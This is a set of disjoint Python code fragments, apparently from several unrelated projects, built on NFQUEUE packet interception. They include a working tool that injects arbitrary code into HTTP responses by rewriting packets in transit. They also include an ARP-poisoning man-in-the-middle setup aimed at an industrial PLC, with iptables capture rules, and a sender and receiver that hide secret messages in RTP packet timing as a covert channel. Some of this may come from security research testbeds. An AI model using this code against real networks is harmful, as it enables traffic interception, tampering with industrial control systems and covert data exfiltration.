def __init__(self, queue_num, controller, debug_forward, io): Thread.__init__(self) self._queue_num = queue_num self._debug_direct_forward = debug_forward self._executor = ThreadPoolExecutor(max_workers=1000) self._controller = controller self._io = io #test self.conn = fnfqueue.Connection()
def main(code, count): connection = fnfqueue.Connection() connection.bind(0).set_mode(0xFFFF, fnfqueue.COPY_PACKET) code = code.encode() i = 0 for data in connection: pkt = scapy.IP(data.payload) if pkt.haslayer(scapy.Raw): # iptables filters TCP load = pkt[scapy.Raw].load if pkt[scapy.TCP].dport == 80: # modify HTTP requests - disable encoding pkt[scapy.IP].src = netifaces.ifaddresses('wlan0')[ netifaces.AF_INET][0]['addr'].encode() load = re.sub(b"HTTP/1.1", b"HTTP/1.0", load) load = re.sub(b"Accept-Encoding:.*?\\r\\n", b"", load) elif pkt[scapy.TCP].sport == 80: # modify HTTP responses - inject code load = re.sub(b"</body>", code + b"</body>", load) load = re.sub(b"</BODY>", code + b"</BODY>", load) cl = re.search(b"(?:Content-Length: )([0-9]*)", load) if cl is not None and b"text/html" in load: length = cl.group(1) i += 1 load = load.replace(length, str(int(length) + len(code)).encode()) pkt[scapy.Raw].load = load del pkt[scapy.IP].len del pkt[scapy.IP].chksum del pkt[scapy.TCP].chksum # workaround # should be data.payload = bytes(pkt), then data.mangle() # but somehow rpi does not mangle the packet # just sending packets with scapy and droping original content data.drop() scapy.send(pkt, verbose=False) if i >= count: connection.close() return else: data.accept()
def setup(self): """ This function start the network attack. It first sets up the iptables on the attacker node to capture the tcp packets coming from the target PLC. It also drops the icmp packets, to avoid network packets skipping the attacker node. Afterwards it launches the ARP poison, which basically tells the network that the attacker is the PLC, and it tells the PLC that the attacker is the router. Finally, it launches the thread that will examine all captured packets. """ os.system( f'iptables -t mangle -A FORWARD -p tcp --sport 44818 -s {self.target_plc_ip} -j NFQUEUE --queue-num 1' ) os.system('iptables -A FORWARD -p icmp -j DROP') os.system('iptables -A INPUT -p icmp -j DROP') os.system('iptables -A OUTPUT -p icmp -j DROP') # Launch the ARP poison by sending the required ARP network packets launch_arp_poison(self.target_plc_ip, self.intermediate_attack['gateway_ip']) if self.intermediate_yaml['network_topology_type'] == "simple": for plc in self.intermediate_yaml['plcs']: if plc['name'] != self.intermediate_plc['name']: launch_arp_poison(self.target_plc_ip, plc['local_ip']) self.logger.debug( f"Naive MITM Attack ARP Poison between {self.target_plc_ip} and " f"{self.intermediate_attack['gateway_ip']}") try: self.queue = fnfqueue.Connection() self.q = self.queue.bind(1) self.q.set_mode(fnfqueue.MAX_PAYLOAD, fnfqueue.COPY_PACKET) except PermissionError: self.logger.error("Permission Error trying to bind to the NFQUEUE") self.run_thread = True self.thread = threading.Thread(target=self.packet_thread_function) self.thread.start()
import fnfqueue import sys queue = 1 conn = fnfqueue.Connection() q = conn.bind(queue) q.set_mode(0xffff, fnfqueue.COPY_PACKET) print("OK", flush=True) while True: try: for packet in conn: packet.payload = packet.payload packet.accept(fnfqueue.MANGLE_PAYLOAD) except fnfqueue.BufferOverflowException: print("buffer error") pass conn.close()
def receiver(verbose, covert_channel): # to control the packets old_packet = None counter_packets = 0 total_packets = 0 # to control the length of the message to hide secret_message = '' first_time = True message_finished = False # Iptables queue connection try: queue = 1 conn = fnfqueue.Connection() q = conn.bind(queue) q.set_mode(0xffff, fnfqueue.COPY_PACKET) except PermissionError: print('Are you sure you\'re root or NFQueue is not in use? Exit..') exit() if covert_channel: while True: try: for act_packet in conn: act_type = int.from_bytes(act_packet.payload[29:30], byteorder='big') if act_type == RTP_AUDIO or act_type == RTP_VIDEO or not message_finished: total_packets += 1 if old_packet is None: old_packet = copy.copy(act_packet) else: old_type = int.from_bytes( old_packet.payload[29:30], byteorder='big') old_seq = int.from_bytes(old_packet.payload[30:32], byteorder='big') old_packet.mangle() old_packet = copy.copy(act_packet) counter_packets += 1 if verbose == 2: print( ' * type: {} | seq: {} | counter: {}'. format(old_type, old_seq, counter_packets)) if act_type != old_type: if verbose >= 1: print( '- x: {} | type: {} | seq: {} | counter: {}' .format((counter_packets % 2), old_type, old_seq, counter_packets)) secret_message += str(counter_packets % 2) counter_packets = 0 if (first_time and len(secret_message) == 7) or (not first_time and len(secret_message) == 8): try: secret_message = int(secret_message, 2) secret_message = secret_message.to_bytes( (secret_message.bit_length() + 7) // 8, 'big').decode() if verbose == 0: sys.stdout.write( str(secret_message)) sys.stdout.flush() else: print( '+++++++++++++++++++++++++++++++++++++++++++++++ {}' .format(str(secret_message))) secret_message = '' first_time = False except UnicodeDecodeError: if verbose == 0: sys.stdout.write('-UE-') sys.stdout.flush() else: print( '+++++++++++++++++++++++++++++++++++++++++++++++ -UE-' ) secret_message = '' first_time = False except TypeError: if verbose == 0: sys.stdout.write('-TE-') sys.stdout.flush() else: print( '+++++++++++++++++++++++++++++++++++++++++++++++ -TE-' ) secret_message = '' first_time = False elif act_type == 0: message_finished = True else: act_packet.mangle() except KeyboardInterrupt: conn.close() print('bye, bye!') exit() except: pass else: try: for act_packet in conn: act_packet.mangle() except: exc_type, exc_obj, exc_tb = sys.exc_info() print('exception: {}: {}'.format(exc_type, exc_tb.tb_lineno))
def sender(verbose, covert_channel, secret_message): # to control the packets old_packet = None exc_audios = queue.Queue() exc_videos = queue.Queue() counter_packets = 0 type_sending = 0 # to control the length of the message to hide counter_bits = 0 # Iptables queue connection try: conn = fnfqueue.Connection() q = conn.bind(NFQUEUE) q.set_mode(0xffff, fnfqueue.COPY_PACKET) except PermissionError: print('Are you sure you\'re root or NFQueue is not in use? Exit..') exit() if verbose == 2: print('------ SECRET MESSAGE PARITY: {}'.format(secret_message)) if covert_channel: while counter_bits < len(secret_message): try: for act_packet in conn: act_type = int.from_bytes(act_packet.payload[29:30], byteorder='big') if act_type == RTP_AUDIO or act_type == RTP_VIDEO: if old_packet is None: old_packet = copy.copy(act_packet) type_sending = int.from_bytes( old_packet.payload[29:30], byteorder='big') else: old_type = int.from_bytes( old_packet.payload[29:30], byteorder='big') old_seq = int.from_bytes(old_packet.payload[30:32], byteorder='big') if act_type == old_type and old_type == type_sending: counter_packets += 1 if verbose == 2: print(' > sending because equals') print( ' ---- sending type: {} | seq: {} | counter: {}' .format(old_type, old_seq, counter_packets)) old_packet.mangle() old_packet = copy.copy(act_packet) elif act_type != old_type and old_type == type_sending: parity = ((counter_packets + 1) % 2 == int( secret_message[counter_bits])) if parity: old_packet.mangle() old_packet = copy.copy(act_packet) if verbose == 2: print( ' > sending old because of parity' ) if verbose >= 1: print( '- x: {} | type: {} | seq: {} | counter: {}' .format((counter_packets + 1) % 2, old_type, old_seq, (counter_packets + 1))) counter_packets = 0 counter_bits += 1 type_sending = act_type elif counter_packets == 0: if verbose == 2: print( ' > sending old because must be sent one of this type' ) print( ' ---- sending type: {} | seq: {} | counter: {}' .format(old_type, old_seq, (counter_packets + 1))) old_packet.mangle() old_packet = copy.copy(act_packet) counter_packets += 1 else: if verbose == 2: print( ' * NOT sending old packet because of parity: {}' .format(type_sending)) if verbose >= 1: print( '- x: {} | type: {} | seq: {} | counter: {}' .format(counter_packets % 2, old_type, old_seq, counter_packets)) if old_type == RTP_AUDIO: exc_audios.put(old_packet) else: exc_videos.put(old_packet) old_packet = copy.copy(act_packet) counter_packets = 0 counter_bits += 1 type_sending = act_type if not exc_audios.empty( ) and act_type == RTP_AUDIO: if verbose == 2: print( ' + sending excedeed audio packets' ) counter_packets = 0 while not exc_audios.empty(): exc_packet = exc_audios.get() exc_seq = int.from_bytes( exc_packet.payload[30:32], byteorder='big') exc_packet.mangle() counter_packets += 1 if verbose == 2: print( ' ---- sending type: {} | seq: {} | counter: {}' .format( act_type, exc_seq, counter_packets)) if not exc_videos.empty( ) and act_type == RTP_VIDEO: if verbose == 2: print( ' + sending excedeed video packets' ) counter_packets = 0 while not exc_videos.empty(): exc_packet = exc_videos.get() exc_seq = int.from_bytes( exc_packet.payload[30:32], byteorder='big') exc_packet.mangle() counter_packets += 1 if verbose == 2: print( ' ---- sending type: {} | seq: {} | counter: {}' .format( act_type, exc_seq, counter_packets)) elif old_type != type_sending: if verbose == 2: print( ' * NOT sending because not same type that should be sending: {}' .format(type_sending)) if old_type == RTP_AUDIO: exc_audios.put(old_packet) else: exc_videos.put(old_packet) old_packet = copy.copy(act_packet) else: act_packet.mangle() except KeyboardInterrupt: conn.close() print('bye, bye!') exit() except IndexError: pass except: exc_type, exc_obj, exc_tb = sys.exc_info() print('exception: {}: {}'.format(exc_type, exc_tb.tb_lineno)) old_packet.payload = old_packet.payload[:29] + bytes( [RTP_END]) + old_packet.payload[30:] old_packet.mangle() print('Missatge enviat') try: # To continue with the videocall for act_packet in conn: act_packet.mangle() except: exc_type, exc_obj, exc_tb = sys.exc_info() print('exception: {}: {}'.format(exc_type, exc_tb.tb_lineno)) else: try: for act_packet in conn: act_packet.mangle() except: exc_type, exc_obj, exc_tb = sys.exc_info() print('exception: {}: {}'.format(exc_type, exc_tb.tb_lineno))